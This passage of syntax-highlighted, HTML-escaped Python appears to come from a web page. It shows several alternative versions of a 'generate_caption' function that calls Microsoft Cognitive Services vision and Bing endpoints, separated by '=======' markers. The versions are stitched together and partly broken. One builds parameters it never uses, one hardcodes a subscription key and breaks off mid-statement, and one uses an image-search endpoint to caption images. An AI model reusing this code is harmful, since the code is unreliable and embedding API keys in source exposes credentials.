&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;json&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; loads
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;base64&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; b64encode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the image into a byte array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(image_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; b64encode(image_data)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Read the subscription key from the environment variables&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    subscription_key &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;AZURE_SUBSCRIPTION_KEY&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Define the vision API endpoint&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    vision_base_url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;https://westus2.api.cognitive.microsoft.com/vision/v2.0/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set the vision API endpoint to analyze the image&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    vision_analyze_url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; vision_base_url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;analyze&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set the parameters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    parameters &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;visualFeatures&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Categories,Description,Color&amp;#39;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Prepare the request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    headers &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Ocp-Apim-Subscription-Key&amp;#39;&lt;/span&gt;: subscription_key,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;application/octet-stream&amp;#39;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    params &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; parse_qs(urlparse(vision_analyze_url)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;query)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    params[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;visualFeatures&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Categories,Description,Color&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    params[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;language&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;en&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Send the request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    conn &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; HTTPSConnection(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;westus2.api.cognitive.microsoft.com&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    conn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;request(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;, vision_analyze_url, image_data, headers)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; conn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getresponse()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; response&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the JSON response into a Python dictionary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    parsed &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; loads(data)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; parsed
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(image_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    Generate a caption for an image.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    :param image_path: path to an image
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    :return: the caption
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the image&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os.path&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; isfile
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;PIL&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; Image
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;requests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; isfile(image_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;raise&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;FileNotFoundError&lt;/span&gt;(image_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Image&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;open(image_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Encode the image&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(image_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Computer Vision parameters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    params &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;visualFeatures&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Categories,Description,Color&amp;#39;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Computer Vision API URL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;https://westus.api.cognitive.microsoft.com/vision/v1.0/analyze&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Connect to Computer Vision&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    headers &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Ocp-Apim-Subscription-Key&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;d3f3e1b8e7e14d0b9d7d3f8c8f7e0b6f&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;application/octet-stream&amp;#39;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;post(url, headers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;headers, params&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;params, data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;image_data)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;raise_for_status()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the response as JSON&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    analysis &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; response&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;json()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Extract the word tags&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    categories &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [(category[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;], category[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;score&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; category &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; analysis[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;categories&amp;#39;&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Tags:&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; category &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; categories:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(category[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Extract the description&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    descriptions &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [(description[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;], description[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;score&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; description &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; analysis[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;captions&amp;#39;&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Descriptions:&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; description &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; descriptions:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(description[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Display the color&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        dominant_color &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; analysis[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;color&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;dominantColorBackground&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        dominant_color &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Dominant color: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;format(dominant_color))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Display the caption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    caption &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;format(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(filename):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;requests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;cognitive_services_keys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;cognitive_services_key_names&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# create the header for the request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    headers &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Ocp-Apim-Subscription-Key&amp;#39;&lt;/span&gt;: cognitive_services_keys&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_key(cognitive_services_key_names&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;BING_KEY)}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# the URL for the bing endpoint&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    bing_url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;https://api.cognitive.microsoft.com/bing/v5.0/images/search&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# the parameters for the request&lt;/span&gt;
